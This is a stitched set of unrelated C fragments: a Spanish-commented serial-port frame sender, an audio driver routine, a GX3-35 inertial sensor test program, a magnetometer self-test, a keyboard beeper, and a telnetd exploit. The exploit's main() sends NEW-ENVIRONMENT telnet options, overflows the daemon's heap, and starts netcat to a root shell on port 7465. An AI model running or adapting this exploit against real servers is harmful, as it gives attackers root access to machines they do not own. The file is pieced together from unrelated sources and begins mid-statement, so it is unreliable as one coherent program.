CRTSCTS | CS8 | CLOCAL | CREAD; /* Ignore bytes with parity errors and make terminal raw and dumb. No hace falta ICRNL xk aki transmito, no recibo */ /***********************Debo usar ICRNL?????*/ newtio.c_iflag = IGNPAR /*| ICRNL*/; /* Raw output. */ newtio.c_oflag = 0; /* Don't echo characters because if you connect to a host it or your modem will echo characters for you. Don't generate signals. ********************************Se debe usar ICANON ????? */ newtio.c_lflag = ICANON;// 0; /* blocking read until 1 char arrives */ newtio.c_cc[VMIN]=1; newtio.c_cc[VTIME]=0; /* Ahora limpiamos la linea del modem y activamos la configuracion del puerto */ tcflush(fd, TCIFLUSH); tcsetattr(fd,TCSANOW,&newtio); /* terminal settings done, now handle output */ printf("abre archivo : %s \n",argv[3]); arch = fopen(argv[3],"r"); if (arch == NULL) {printf("Error al abrir el fichero \n"); exit(-1); } /* guardamos el numero de n*/ printf(" arch = %i \n", arch ); retardo= *argv[2]; retardo= retardo * 100000; n = atoi(argv[1]); printf(" n = %i \n", n); if (n>260){ perror("Lo siento sale del rango de SDU \n");exit(-1); } /*Guardo el n de retransmisiones*/ n_rtx =atoi(argv[4]); /*Guardo temporizador*/ argu->tempo =atoi(argv[5]); /*Inicalizo variables de estadisticas*/ argu->tr_perdidas =0; argu->tra_retx = 0; /* Define automata */ /*Se inicializa la matriz de mi automata */ automata = s1_automat_define( ); /*Empieza en el estado inicial */ entidad1.myCurrentState= STATE_INITIAL; printf(" ***************** Se ha creado el automata y se inicializa \n"); //printf("Estoy en el estado = %i ",argu->active_en->myCurrentState); /* ********************** */ /*Se envia primera trama*/ if ( (argu->trama_e = (frame *) malloc(sizeof(frame)) )== NULL) { perror("No hay suficiente espacio de memoria \n"); exit (-1); } argu->paquete->n = n; argu->n_rtx=n_rtx; /*Se le pasa el puerto*/ argu->fde = fd; /*argu.paquete.data== argu y paquete son pteros a struct */ memset(argu->paquete->data,'\0',sizeof(argu->paquete->data)); /*devuelve el nde caract leidos*de arch */ n_carac= from_network_layer (argu->paquete,arch); /*============================================================== /*=======================================================*/ /* */ argu->retardo = retardo; argu->sec_actual= 'A'; argu->sec_siguiente='B'; printf(" Empieza el retardo \n" ); //usleep(retardo); printf(" 1) el retardo1 es = %i \n", retardo ); //usleep(argu->retardo); printf(" 2) Retardo2 es = %i \n", argu->retardo ); argu->active_en=active_en; printf("Estoy en el estado = %i \n",argu->active_en->myCurrentState); printf(" Secuencia antes enviar %c\n", argu->trama_e->address); /* entidad , automata, evento, argumentos de evento */ automat_transit(argu->active_en,automata,EV_INI, argu); printf(" Secuencia despues de enviar %c \n", argu->trama_e->address); trama_r = trama; printf("Estoy en el estado = %i \n",argu->active_en->myCurrentState); printf(" va al bucle \n"); fin_f=feof(arch); while (feof(arch)==0) { printf("entra en el bucle \n"); /*se guarda el n de caracte que queremos leer*/ paquete.n = n; /*argu.paquete.data== argu y paquete son pteros a struct */ memset(argu->paquete->data,'\0',sizeof(argu->paquete->data)); /*devuelve el nde caract leidos*de arch */ n_carac= from_network_layer (argu->paquete,arch); // automat_transit(argu->active_en,automata,ACK, argu); /* ===========================================================================*/ //espero ACK recibe_ACK(argu, automata,fin_f); fin_f=feof(arch); //******************************************************* } //while recibe_ACK(argu, automata,fin_f); /* //Se envia la trama de finalizacion trama.data[0]='\0'; trama.control='T';//0x09; printf("Se envia la trama vacia %s: ,tam : %d \n",trama.data,strlen(trama.data)); to_physical_layer(&trama,fd); automat_transit(active_en,automata,ACK_0, argu); */ //usleep(retardo); usleep(100000); tcsetattr(fd,TCSANOW,&oldtio); /* restore old modem setings */ close(fd); fclose(arch); /*Se impirmen las estadisticas*/ printf(" ************************************************** \n"); printf(" (TX) Numero de Tramas Retransmitidas es : %i \n",argu->tra_retx); printf(" (TX/RX) Numero de Tramas Perdidas es : %i \n",argu->tr_perdidas); argu->active_en=active_en; free (argu->trama_e); automat_destroy( automata ); }
static int msm_dai_q6_auxpcm_prepare(struct snd_pcm_substream *substream, struct snd_soc_dai *dai) { struct msm_dai_q6_dai_data *dai_data = dev_get_drvdata(dai->dev); int rc = 0; struct msm_dai_auxpcm_pdata *auxpcm_pdata = (struct msm_dai_auxpcm_pdata *) dai->dev->platform_data; mutex_lock(&aux_pcm_mutex); if (aux_pcm_count == 2) { dev_dbg(dai->dev, "%s(): dai->id %d aux_pcm_count is 2. Just" " return.\n", __func__, dai->id); mutex_unlock(&aux_pcm_mutex); return 0; } else if (aux_pcm_count > 2) { dev_err(dai->dev, "%s(): ERROR: dai->id %d" " aux_pcm_count = %d > 2\n", __func__, dai->id, aux_pcm_count); mutex_unlock(&aux_pcm_mutex); return 0; } aux_pcm_count++; if (aux_pcm_count == 2) { dev_dbg(dai->dev, "%s(): dai->id %d aux_pcm_count = %d after " " increment\n", __func__, dai->id, aux_pcm_count); mutex_unlock(&aux_pcm_mutex); return 0; } pr_debug("%s:dai->id:%d aux_pcm_count = %d. opening afe\n", __func__, dai->id, aux_pcm_count); rc = afe_q6_interface_prepare(); if (IS_ERR_VALUE(rc)) dev_err(dai->dev, "fail to open AFE APR\n"); /* * For AUX PCM Interface the below sequence of clk * settings and afe_open is a strict requirement. * * Also using afe_open instead of afe_port_start_nowait * to make sure the port is open before deasserting the * clock line. This is required because pcm register is * not written before clock deassert. Hence the hw does * not get updated with new setting if the below clock * assert/deasset and afe_open sequence is not followed. */ clk_reset(pcm_clk, CLK_RESET_ASSERT); afe_open(PCM_RX, &dai_data->port_config, dai_data->rate); afe_open(PCM_TX, &dai_data->port_config, dai_data->rate); rc = clk_set_rate(pcm_clk, auxpcm_pdata->pcm_clk_rate); if (rc < 0) { pr_err("%s: clk_set_rate failed\n", __func__); return rc; } clk_enable(pcm_clk); //HTC_AUD++ //There is downlink no sound when receiving a MT-call. //Adding a delay to solve this issue. usleep(15000); //HTC_AUD-- clk_reset(pcm_clk, CLK_RESET_DEASSERT); mutex_unlock(&aux_pcm_mutex); return rc; }
main (int argc, char *argv[]) { int br, l, dosleep = 0; int percent = 0; char spin; unsigned char w; bzero (oldenv, sizeof (oldenv)); argv++; dalen = strlen ("clarity.local"); while (argv[0]) { if (!strcmp (argv[0], "--pause")) dosleep = 1; if (!strcmp (argv[0], "--size") && argv[1]) { mipl = atoi (argv[1]); argv++; } if (!strcmp (argv[0], "--name") && argv[1]) { dalen = strlen (argv[1]); argv++; } argv++; } fprintf (stderr, " o MiPl of %4d o NameLen of %2d\n", mipl, dalen); if(dalen%3==0) { offsets=offset3; } else { ninbufoffset = mipl % 8192; offsets[11] += 32 * (mipl - ninbufoffset) / 8192; if (offsets[11] > 255) { fprintf (stderr, " ! MiPl too big.", mipl, dalen); exit (1); } } sock_setup (); if (dosleep) { system ("sleep 1;ps aux|grep in.telnetd|grep -v grep"); sleep (8); } dalen += strlen ("\r\n[ : yes]\r\n"); fprintf (stderr, "o Sending IAC WILL NEW-ENVIRONMENT...\n"); fflush (stderr); doo (5); will (39); fflush (dasock); read_sock (); fprintf (stderr, "o Setting up environment vars...\n"); fflush (stderr); will (1); push_clean (); doenv ("USER", "zen-parse"); doenv ("TERM", "zen-parse"); will (39); fflush (dasock); fprintf (stderr, "o Doing overflows...\n"); fflush (stderr); for (br = 0; (offsets[br] || offsets[br + 1]); br += 2) { fill (mipl + ENV + offsets[br], offsets[br + 1]); fflush (dasock); usleep (100000); read_sock (); } fprintf (stderr, "o Overflows done...\n"); fflush (stderr); push_clean (); fprintf (stderr, "o Sending IACs to start login process...\n"); fflush (stderr); wont (24); wont (32); wont (35); fprintf (dasock, "%s", tosend); will (1); push_heap_attack (); sleep (1); fprintf (stderr, "o Attempting to lauch netcat to localhost rootshell\n"); execlp ("nc", "nc", "-v", "localhost", "7465", 0); fprintf (stderr, "o If the exploit worked, there should be an open port on 7465.\n"); fprintf (stderr, " It is a root shell. You should probably close it.\n"); fflush (stderr); sleep (60); exit (0); }
int main(int argc, char **argv) { int frequency[127],i,ch,note=60; static struct termios new_tty,old_tty; /* setup non-blocking non-echo mode */ tcgetattr(0,&old_tty); new_tty=old_tty; new_tty.c_lflag&=~ICANON; new_tty.c_cc[VMIN]=1; new_tty.c_lflag&=~ECHO; tcsetattr(0,TCSANOW,&new_tty); fcntl(0,F_SETFL,fcntl(0,F_GETFL) | O_NONBLOCK); for (i=0;i<127;i++) frequency[i]=(440.0/32.0)*(pow(2.0,(i-9.0)/12.0)); for(i=0;i<127;i++) printf("%i\n",frequency[i]); while ((ch=getchar())!='q') { if (ch==-1) goto loop; switch(ch) { case 'a': note=60; break; case 'w': note=61; break; case 's': note=62; break; case 'e': note=63; break; case 'd': note=64; break; case 'f': note=65; break; case 't': note=66; break; case 'g': note=67; break; case 'y': note=68; break; case 'h': note=69; break; case 'u': note=70; break; case 'j': note=71; break; case 'k': note=72; break; } printf("%c[10;%i]\n",27,frequency[note]); // write(1, "\33[11;200]", 9) length = 200 printf("%c",ch); printf("\a"); usleep(150000); loop: } tcsetattr(0,TCSANOW,&old_tty); }
int main(int argc, char* argv[]) { u32 com_port, baudrate; base_device_info_field device_info; u8 temp_string[20] = {0}; u32 bit_result; u8 enable = 1; u8 data_stream_format_descriptors[10] = {0}; u16 data_stream_format_decimation[10] = {0}; u8 data_stream_format_num_entries = 0; u8 readback_data_stream_format_descriptors[10] = {0}; u16 readback_data_stream_format_decimation[10] = {0}; u8 readback_data_stream_format_num_entries = 0; u16 base_rate = 0; u16 device_descriptors[128] = {0}; u16 device_descriptors_size = 128*2; s16 i; u8 com_mode = 0; u8 datastream_format = 0; u8 gps_dynamics_mode = 0; u8 ahrs_time_selector = 0; u8 readback_ahrs_time_selector = 0; u32 ahrs_time_value = 0; mip_ahrs_signal_settings signal_conditioning_settings = {0}, readback_signal_conditioning_settings = {0}; u8 power_state = 0, readback_power_state = 0; gx3_35_device_status_field gx3_35_status; u16 gx3_35_status_size = sizeof(gx3_35_device_status_field); /// //Verify the command line arguments /// if(argc != NUM_COMMAND_LINE_ARGUMENTS) { print_command_line_usage(); return -1; } //Convert the arguments com_port = atoi(argv[1]); baudrate = atoi(argv[2]); /// //Initialize the interface to the device /// if(mip_interface_init(com_port, baudrate, &device_interface, DEFAULT_PACKET_TIMEOUT_MS) != MIP_INTERFACE_OK) return -1; //////////////////////////////////////////////////////////////////////////////////// // //Base Command Tests // //////////////////////////////////////////////////////////////////////////////////// /// //Put the GX3-35 into idle mode /// printf("\n\nPutting Device Into Idle Mode....\n"); while(mip_base_cmd_idle(&device_interface) != MIP_INTERFACE_OK) { } /// //Try to ping the GX3-35 /// printf("\n\nPinging Device....\n"); while(mip_base_cmd_ping(&device_interface) != MIP_INTERFACE_OK) { } /// //Get the device information /// printf("\n\nGetting Device Information....\n"); while(mip_base_cmd_get_device_info(&device_interface, &device_info) != MIP_INTERFACE_OK) { } printf("\n\nDevice Info:\n"); printf("---------------------------------------------\n"); memcpy(temp_string, device_info.model_name, BASE_DEVICE_INFO_PARAM_LENGTH*2); printf("Model Name => %s\n", temp_string); memcpy(temp_string, device_info.model_number, BASE_DEVICE_INFO_PARAM_LENGTH*2); printf("Model Number => %s\n", temp_string); memcpy(temp_string, device_info.serial_number, BASE_DEVICE_INFO_PARAM_LENGTH*2); printf("Serial Number => %s\n", temp_string); memcpy(temp_string, device_info.lotnumber, BASE_DEVICE_INFO_PARAM_LENGTH*2); printf("Lot Number => %s\n", temp_string); memcpy(temp_string, device_info.device_options, BASE_DEVICE_INFO_PARAM_LENGTH*2); printf("Options => %s\n", temp_string); printf("Firmware Version => %d.%d.%d\n\n", (device_info.firmware_version)/1000, (device_info.firmware_version)%1000/100, (device_info.firmware_version)%100); /// //Get the supported descriptors /// printf("\n\nGetting Supported descriptors....\n"); while(mip_base_cmd_get_device_supported_descriptors(&device_interface, (u8*)device_descriptors, &device_descriptors_size) != MIP_INTERFACE_OK) { } printf("\n\nSupported descriptors:\n\n"); for(i=0; i< device_descriptors_size/2; i++) { printf("Descriptor Set: %02x, Descriptor: %02x\n", device_descriptors[i] >> 8, device_descriptors[i]&0xFF); } /// //Peform a built-in-test /// printf("\n\nRunning Built In Test....\n"); while(mip_base_cmd_built_in_test(&device_interface, &bit_result) != MIP_INTERFACE_OK) { } printf("\nBIT Result (should be 0x00000000) => 0x%08x\n\n", bit_result); usleep(2000); //////////////////////////////////////////////////////////////////////////////////// // //System Command Tests // //////////////////////////////////////////////////////////////////////////////////// /// //Set/Read the current com mode /// printf("\n\nCycle through available com modes....\n\n"); //Loop through valid modes and set/read current come mode for(i=3; i>=1; i--) { //Set the com mode com_mode = i; while(mip_system_com_mode(&device_interface, MIP_FUNCTION_SELECTOR_WRITE, &com_mode) != MIP_INTERFACE_OK) { } //Reset the com_mode variable com_mode = 0; //Read back the com mode while(mip_system_com_mode(&device_interface, MIP_FUNCTION_SELECTOR_READ, &com_mode) != MIP_INTERFACE_OK) { } if(com_mode == i) { printf("Com mode successfully set to %d\n", com_mode); } else { printf("ERROR: Failed to set com mode to %d!!!\n", com_mode); } } //////////////////////////////////////////////////////////////////////////////////// // //3DM Command Tests // //////////////////////////////////////////////////////////////////////////////////// /// //Set/Read the AHRS power state /// printf("\n\nTurn off/on AHRS and verify state....\n\n"); //Loop through valid modes and set/read current come mode for(i=0; i<=1; i++) { //Set the power state (off, then on) if(i == 0) power_state = MIP_3DM_POWER_STATE_OFF; else if(i == 1) power_state = MIP_3DM_POWER_STATE_ON; while(mip_3dm_cmd_power_state(&device_interface, MIP_FUNCTION_SELECTOR_WRITE, MIP_3DM_POWER_STATE_DEVICE_AHRS, &power_state) != MIP_INTERFACE_OK) { } //Reset the readback_power_state variable readback_power_state = 0; //Read back the com mode while(mip_3dm_cmd_power_state(&device_interface, MIP_FUNCTION_SELECTOR_READ, MIP_3DM_POWER_STATE_DEVICE_AHRS, &readback_power_state) != MIP_INTERFACE_OK) { } if(power_state == readback_power_state) { printf("Power state successfully set to %d\n", power_state); } else { printf("ERROR: Failed to set power state to %d!!!\n", power_state); } } /// //Set/Read the GPS power state /// printf("\n\nTurn off/on GPS and verify state....\n\n"); //Loop through valid modes and set/read current come mode for(i=0; i<=1; i++) { //Set the power state (off, then on) if(i == 0) power_state = MIP_3DM_POWER_STATE_OFF; else if(i == 1) power_state = MIP_3DM_POWER_STATE_ON; while(mip_3dm_cmd_power_state(&device_interface, MIP_FUNCTION_SELECTOR_WRITE, MIP_3DM_POWER_STATE_DEVICE_GPS, &power_state) != MIP_INTERFACE_OK) { } //Reset the readback_power_state variable readback_power_state = 0; //Read back the com mode while(mip_3dm_cmd_power_state(&device_interface, MIP_FUNCTION_SELECTOR_READ, MIP_3DM_POWER_STATE_DEVICE_GPS, &readback_power_state) != MIP_INTERFACE_OK) { } if(power_state == readback_power_state) { printf("Power state successfully set to %d\n", power_state); } else { printf("ERROR: Failed to set power state to %d!!!\n", power_state); } } /// //Get GX3-35 diagnostic status packet /// printf("\n\nGetting the GX3-35 diagnostic status packet....\n"); while(mip_3dm_cmd_device_status(&device_interface, GX3_35_MODEL_NUMBER, GX3_35_DIAGNOSTICS_STATUS_SEL, (u8*)&gx3_35_status, &gx3_35_status_size) != MIP_INTERFACE_OK) { } /// //Get AHRS Base Rate /// printf("\n\nGetting the AHRS datastream base rate....\n"); while(mip_3dm_cmd_get_ahrs_base_rate(&device_interface, &base_rate) != MIP_INTERFACE_OK) { } printf("\nAHRS Base Rate => %d Hz\n", base_rate); /// //Get GPS Base Rate /// printf("\n\nGetting the GPS datastream base rate....\n"); while(mip_3dm_cmd_get_gps_base_rate(&device_interface, &base_rate) != MIP_INTERFACE_OK) { } printf("\nGPS Base Rate => %d Hz\n", base_rate); /// //Poll for an AHRS packet /// printf("\n\nPolling for an AHRS packet....\n\n"); data_stream_format_descriptors[0] = 0x04; data_stream_format_descriptors[1] = 0x05; data_stream_format_num_entries = 2; //Poll for the AHRS packet while(mip_3dm_cmd_poll_ahrs(&device_interface, MIP_3DM_POLLING_ENABLE_ACK_NACK, data_stream_format_num_entries, data_stream_format_descriptors) != MIP_INTERFACE_OK) { } printf("Got an ACK.\n"); /// //Poll for a GPS packet /// printf("\n\nPolling for a GPS packet....\n\n"); data_stream_format_descriptors[0] = 0x03; data_stream_format_descriptors[1] = 0x05; data_stream_format_descriptors[2] = 0x08; data_stream_format_num_entries = 3; //Poll for the GPS packet while(mip_3dm_cmd_poll_gps(&device_interface, MIP_3DM_POLLING_ENABLE_ACK_NACK, data_stream_format_num_entries, data_stream_format_descriptors) != MIP_INTERFACE_OK) { } printf("Got an ACK.\n"); /// //Setup the AHRS message format and verify via read-back /// printf("\n\nSetting the AHRS datastream format....\n\n"); data_stream_format_descriptors[0] = MIP_AHRS_DATA_ACCEL_SCALED; data_stream_format_descriptors[1] = MIP_AHRS_DATA_GYRO_SCALED; data_stream_format_descriptors[2] = MIP_AHRS_DATA_MAG_SCALED; data_stream_format_decimation[0] = 0x0A; data_stream_format_decimation[1] = 0x0A; data_stream_format_decimation[2] = 0x0A; data_stream_format_num_entries = 3; //Set the message format while(mip_3dm_cmd_ahrs_message_format(&device_interface, MIP_FUNCTION_SELECTOR_WRITE, &data_stream_format_num_entries, data_stream_format_descriptors, data_stream_format_decimation) != MIP_INTERFACE_OK) { } //On entry to the read, we set the maximum number of entries we can accept readback_data_stream_format_num_entries = 10; //Read the message format while(mip_3dm_cmd_ahrs_message_format(&device_interface, MIP_FUNCTION_SELECTOR_READ, &readback_data_stream_format_num_entries, readback_data_stream_format_descriptors, readback_data_stream_format_decimation) != MIP_INTERFACE_OK) { } //Compare the message formats if(data_stream_format_num_entries == readback_data_stream_format_num_entries) { printf("Number of fields match: %d fields\n", data_stream_format_num_entries); } else { printf("ERROR: Number of fields mismatch: %d fields written, %d fields read!!!\n", data_stream_format_descriptors, readback_data_stream_format_descriptors); } for(i=0; i<data_stream_format_num_entries; i++) { if((data_stream_format_descriptors[i] == readback_data_stream_format_descriptors[i]) && (data_stream_format_decimation[i] == readback_data_stream_format_decimation[i])) { printf("Descriptor information for field %d matches\n", i); } else { printf("ERROR: Descriptor information for field %d mismatch!!!! Written: %d %d, Read: %d %d\n", i, data_stream_format_descriptors[i], data_stream_format_decimation[i], readback_data_stream_format_descriptors[i], readback_data_stream_format_decimation[i]); } } /// //Setup the GPS message format and verify via read-back /// printf("\n\nSetting the GPS datastream format....\n\n"); data_stream_format_descriptors[0] = MIP_GPS_DATA_LLH_POS; data_stream_format_descriptors[1] = MIP_GPS_DATA_NED_VELOCITY; data_stream_format_descriptors[2] = MIP_GPS_DATA_GPS_TIME; data_stream_format_decimation[0] = 0x01; data_stream_format_decimation[1] = 0x01; data_stream_format_decimation[2] = 0x01; data_stream_format_num_entries = 3; while(mip_3dm_cmd_gps_message_format(&device_interface, MIP_FUNCTION_SELECTOR_WRITE, &data_stream_format_num_entries, data_stream_format_descriptors, data_stream_format_decimation) != MIP_INTERFACE_OK) { } //On entry to the read, we set the maximum number of entries we can accept readback_data_stream_format_num_entries = 10; //Read the message format while(mip_3dm_cmd_gps_message_format(&device_interface, MIP_FUNCTION_SELECTOR_READ, &readback_data_stream_format_num_entries, readback_data_stream_format_descriptors, readback_data_stream_format_decimation) != MIP_INTERFACE_OK) { } //Compare the message formats if(data_stream_format_num_entries == readback_data_stream_format_num_entries) { printf("Number of fields match: %d fields\n", data_stream_format_num_entries); } else { printf("ERROR: Number of fields mismatch: %d fields written, %d fields read!!!\n", data_stream_format_num_entries, readback_data_stream_format_num_entries); } for(i=0; i<data_stream_format_num_entries; i++) { if((data_stream_format_descriptors[i] == readback_data_stream_format_descriptors[i]) && (data_stream_format_decimation[i] == readback_data_stream_format_decimation[i])) { printf("Descriptor information for field %d matches\n", i); } else { printf("ERROR: Descriptor information for field %d mismatch!!!! Written: %d %d, Read: %d %d\n", i, data_stream_format_descriptors[i], data_stream_format_decimation[i], readback_data_stream_format_descriptors[i], readback_data_stream_format_decimation[i]); } } /// //Set/Read the AHRS datastream format /// printf("\n\nCycle through available AHRS datastream formats....\n\n"); //Loop through valid modes and set/read current come mode for(i=2; i>=1; i--) { //Set the datastream format datastream_format = i; while(mip_3dm_cmd_datastream_format(&device_interface, MIP_FUNCTION_SELECTOR_WRITE, MIP_3DM_AHRS_DATASTREAM, &datastream_format) != MIP_INTERFACE_OK) { } //Reset the datastream_format variable datastream_format = 0; //Read back the com mode while(mip_3dm_cmd_datastream_format(&device_interface, MIP_FUNCTION_SELECTOR_READ, MIP_3DM_AHRS_DATASTREAM, &datastream_format) != MIP_INTERFACE_OK) { } if(datastream_format == i) { printf("Datastream format successfully set to %d\n", datastream_format); } else { printf("ERROR: Failed to set datastream format to %d!!!\n", datastream_format); } } /// //Set/Read the GPS datastream format /// printf("\n\nCycle through available GPS datastream formats....\n\n"); //Loop through valid modes and set/read current come mode for(i=2; i>=1; i--) { //Set the datastream format datastream_format = i; while(mip_3dm_cmd_datastream_format(&device_interface, MIP_FUNCTION_SELECTOR_WRITE, MIP_3DM_GPS_DATASTREAM, &datastream_format) != MIP_INTERFACE_OK) { } //Reset the datastream_format variable datastream_format = 0; //Read back the com mode while(mip_3dm_cmd_datastream_format(&device_interface, MIP_FUNCTION_SELECTOR_READ, MIP_3DM_GPS_DATASTREAM, &datastream_format) != MIP_INTERFACE_OK) { } if(datastream_format == i) { printf("Datastream format successfully set to %d\n", datastream_format); } else { printf("ERROR: Failed to set datastream format to %d!!!\n", datastream_format); } } /// //Set/Read the GPS dynamics mode /// printf("\n\nCycle through available GPS Dynamics Modes....\n\n"); //Loop through valid modes and set/read current come mode for(i=8; i>=0; i--) { //Skip 1, per DCP if(i != 1) { //Set the dynamics mode gps_dynamics_mode = i; while(mip_3dm_cmd_gps_dynamics_mode(&device_interface, MIP_FUNCTION_SELECTOR_WRITE, &gps_dynamics_mode) != MIP_INTERFACE_OK) { } //Reset the gps_dynamics_mode variable gps_dynamics_mode = 0; //Read back the com mode while(mip_3dm_cmd_gps_dynamics_mode(&device_interface, MIP_FUNCTION_SELECTOR_READ, &gps_dynamics_mode) != MIP_INTERFACE_OK) { } if(gps_dynamics_mode == i) { printf("GPS dynamics mode successfully set to %d\n", gps_dynamics_mode); } else { printf("ERROR: Failed to set GPS dynamics mode to %d!!!\n", gps_dynamics_mode); } } } /// //Set/Read the AHRS signal conditioning settings /// printf("\n\nSet the AHRS signal conditioning settings....\n\n"); //Read the signal conditioning settings (for a starting point) while(mip_3dm_cmd_ahrs_signal_conditioning(&device_interface, MIP_FUNCTION_SELECTOR_READ, &signal_conditioning_settings) != MIP_INTERFACE_OK) { } //Set the signal conditioning settings signal_conditioning_settings.mag_filter_width = 32; signal_conditioning_settings.inertial_filter_width = 32; //Write the signal conditioning settings while(mip_3dm_cmd_ahrs_signal_conditioning(&device_interface, MIP_FUNCTION_SELECTOR_WRITE, &signal_conditioning_settings) != MIP_INTERFACE_OK) { } //Read back the signal conditioning settings while(mip_3dm_cmd_ahrs_signal_conditioning(&device_interface, MIP_FUNCTION_SELECTOR_READ, &readback_signal_conditioning_settings) != MIP_INTERFACE_OK) { } if((readback_signal_conditioning_settings.mag_filter_width == signal_conditioning_settings.mag_filter_width) && (readback_signal_conditioning_settings.inertial_filter_width == signal_conditioning_settings.inertial_filter_width)) { printf("Signal conditioning settings successfully set\n"); } else { printf("ERROR: Failed to set signal conditioning settings!!!\n"); } /// //Set/Read the AHRS timestamp format /// printf("\n\nCycle through available AHRS timestamp format values....\n\n"); //Loop through valid modes and set/read current come mode for(i=2; i>=1; i--) { //Set the enable flag ahrs_time_selector = i; while(mip_3dm_cmd_ahrs_timestamp(&device_interface, MIP_FUNCTION_SELECTOR_WRITE, &ahrs_time_selector, &ahrs_time_value) != MIP_INTERFACE_OK) { } readback_ahrs_time_selector = i; //Read back the com mode while(mip_3dm_cmd_ahrs_timestamp(&device_interface, MIP_FUNCTION_SELECTOR_READ, &readback_ahrs_time_selector, &ahrs_time_value) != MIP_INTERFACE_OK) { } printf("Timestamp format test successful with selector %d\n", ahrs_time_selector); } /// //Set/Read the AHRS continuous datastream enable /// printf("\n\nCycle through available AHRS continuous datastream enable values....\n\n"); //Loop through valid modes and set/read current come mode for(i=0; i<=1; i++) { //Set the enable flag enable = i; while(mip_3dm_cmd_continuous_data_stream(&device_interface, MIP_FUNCTION_SELECTOR_WRITE, MIP_3DM_AHRS_DATASTREAM, &enable) != MIP_INTERFACE_OK) { } //Reset the enable variable enable = 0; //Read back the com mode while(mip_3dm_cmd_continuous_data_stream(&device_interface, MIP_FUNCTION_SELECTOR_READ, MIP_3DM_AHRS_DATASTREAM, &enable) != MIP_INTERFACE_OK) { } if(enable == i) { printf("Continuous datastream enable successfully set to %d\n", enable); } else { printf("ERROR: Failed to set continuous datastream enable to %d!!!\n", enable); } } /// //Set/Read the GPS continuous datastream enable /// printf("\n\nCycle through available GPS continuous datastream enable values....\n\n"); //Loop through valid modes and set/read current come mode for(i=0; i<=1; i++) { //Set the enable flag enable = i; while(mip_3dm_cmd_continuous_data_stream(&device_interface, MIP_FUNCTION_SELECTOR_WRITE, MIP_3DM_GPS_DATASTREAM, &enable) != MIP_INTERFACE_OK) { } //Reset the enable variable enable = 0; //Read back the com mode while(mip_3dm_cmd_continuous_data_stream(&device_interface, MIP_FUNCTION_SELECTOR_READ, MIP_3DM_GPS_DATASTREAM, &enable) != MIP_INTERFACE_OK) { } if(enable == i) { printf("\nContinuous datastream enable successfully set to %d\n", enable); } else { printf("\nERROR: Failed to set continuous datastream enable to %d!!!\n", enable); } } /// //Resume the GX3-35 datastreams /// printf("\n\nResuming device datastreams....\n"); while(mip_base_cmd_resume(&device_interface) != MIP_INTERFACE_OK) { } printf("\n\n"); /// //Setup the GX3-35 dataset callbacks (AHRS, GPS), note: no user data is required for this example so we set the pointer to NULL. /// if(mip_interface_add_descriptor_set_callback(&device_interface, MIP_AHRS_DATA_SET, NULL, &ahrs_packet_callback) != MIP_INTERFACE_OK) return -1; if(mip_interface_add_descriptor_set_callback(&device_interface, MIP_GPS_DATA_SET, NULL, &gps_packet_callback) != MIP_INTERFACE_OK) return -1; /// //Wait for packets to arrive /// while(1) { //Update the parser (this function reads the port and parses the bytes mip_interface_update(&device_interface); //Be nice to other programs usleep(1); } }
int LIS3MDL::calibrate(struct file *file_pointer, unsigned enable) { struct mag_report report; ssize_t sz; int ret = 1; uint8_t num_samples = 10; // XXX do something smarter here int fd = (int)enable; float sum_excited[3] = {0.0f, 0.0f, 0.0f}; float sum_non_excited[3] = {0.0f, 0.0f, 0.0f}; /* start the sensor polling at 50 Hz */ if (ioctl(file_pointer, SENSORIOCSPOLLRATE, 50) != OK) { warn("FAILED: SENSORIOCSPOLLRATE 50Hz"); ret = 1; goto out; } /* Set to 12 Gauss */ if (ioctl(file_pointer, MAGIOCSRANGE, 12) != OK) { PX4_WARN("FAILED: MAGIOCSRANGE 12 Ga"); ret = 1; goto out; } usleep(20000); /* discard 10 samples to let the sensor settle */ for (uint8_t i = 0; i < num_samples; i++) { struct pollfd fds; /* wait for data to be ready */ fds.fd = fd; fds.events = POLLIN; ret = ::poll(&fds, 1, 2000); if (ret != 1) { warn("ERROR: TIMEOUT 1"); goto out; } /* now go get it */ sz = ::read(fd, &report, sizeof(report)); if (sz != sizeof(report)) { warn("ERROR: READ 1"); ret = -EIO; goto out; } } /* read the sensor up to 10x */ for (uint8_t i = 0; i < num_samples; i++) { struct pollfd fds; /* wait for data to be ready */ fds.fd = fd; fds.events = POLLIN; ret = ::poll(&fds, 1, 2000); if (ret != 1) { warn("ERROR: TIMEOUT 2"); goto out; } /* now go get it */ sz = ::read(fd, &report, sizeof(report)); if (sz != sizeof(report)) { warn("ERROR: READ 2"); ret = -EIO; goto out; } sum_non_excited[0] += report.x; sum_non_excited[1] += report.y; sum_non_excited[2] += report.z; } sum_non_excited[0] /= num_samples; sum_non_excited[1] /= num_samples; sum_non_excited[2] /= num_samples; /* excite strap and take measurements */ if (ioctl(file_pointer, MAGIOCEXSTRAP, 1) != OK) { PX4_WARN("FAILED: MAGIOCEXSTRAP 1"); ret = 1; goto out; } usleep(60000); /* discard 10 samples to let the sensor settle */ for (uint8_t i = 0; i < num_samples; i++) { struct pollfd fds; /* wait for data to be ready */ fds.fd = fd; fds.events = POLLIN; ret = ::poll(&fds, 1, 2000); if (ret != 1) { warn("ERROR: TIMEOUT 1"); goto out; } /* now go get it */ sz = ::read(fd, &report, sizeof(report)); if (sz != sizeof(report)) { warn("ERROR: READ 1"); ret = -EIO; goto out; } } /* read the sensor up to 10x */ for (uint8_t i = 0; i < 10; i++) { struct pollfd fds; /* wait for data to be ready */ fds.fd = fd; fds.events = POLLIN; ret = ::poll(&fds, 1, 2000); if (ret != 1) { warn("ERROR: TIMEOUT 2"); goto out; } /* now go get it */ sz = ::read(fd, &report, sizeof(report)); if (sz != sizeof(report)) { warn("ERROR: READ 2"); ret = -EIO; goto out; } sum_excited[0] += report.x; sum_excited[1] += report.y; sum_excited[2] += report.z; } sum_excited[0] /= num_samples; sum_excited[1] /= num_samples; sum_excited[2] /= num_samples; if (1.0f < fabsf(sum_excited[0] - sum_non_excited[0]) && fabsf(sum_excited[0] - sum_non_excited[0]) < 3.0f && 1.0f < fabsf(sum_excited[1] - sum_non_excited[1]) && fabsf(sum_excited[1] - sum_non_excited[1]) < 3.0f && 0.1f < fabsf(sum_excited[2] - sum_non_excited[2]) && fabsf(sum_excited[2] - sum_non_excited[2]) < 1.0f) { ret = OK; } else { ret = -EIO; goto out; } out: /* set back to normal mode */ set_range(4); set_default_register_values(); usleep(20000); return ret; }
